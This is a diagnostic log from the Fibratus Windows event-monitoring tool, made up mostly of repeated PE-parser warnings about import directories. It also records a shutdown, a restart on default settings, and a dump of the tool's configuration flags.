+time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:27:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:27:39+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:27:40+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:27:40+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:32:45+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:32:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:32:45+01:00 level=info msg=bootstrapping with pid 19228. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:32:45+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>false] systray=>[ quiet-mode=>false enabled=>true sound=>true] mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + kstream ........................ [ enable-image=>true stack-enrichment=>true enable-dns=>true enable-mem=>true enable-fileio=>true flush-interval=>1s max-buffers=>36 enable-audit-api=>true enable-registry=>true enable-thread=>true buffer-size=>512 enable-net=>true enable-vamap=>true blacklist=>[ events=>[] images=>[]] min-buffers=>16 enable-handle=>false] + logging ........................ [ max-size=>100 max-age=>0 level=>info formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ http=>[ method=>POST enable-gzip=>false enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json timeout=>5s] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false timeout=>5s gzip-compression=>false trace-log=>false healthcheck-timeout=>5s template-name=>fibratus sniff=>false healthcheck=>true bulk-workers=>1 index-name=>fibratus] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ timeout=>5s exchange-type=>topic delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false passive=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ alert-via=>mail skip-files=>true enabled=>false scan-timeout=>10s excluded-files=>[] alert-template=>[] fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:32:45+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:32:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:32:47+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:32:47+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:32:47+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 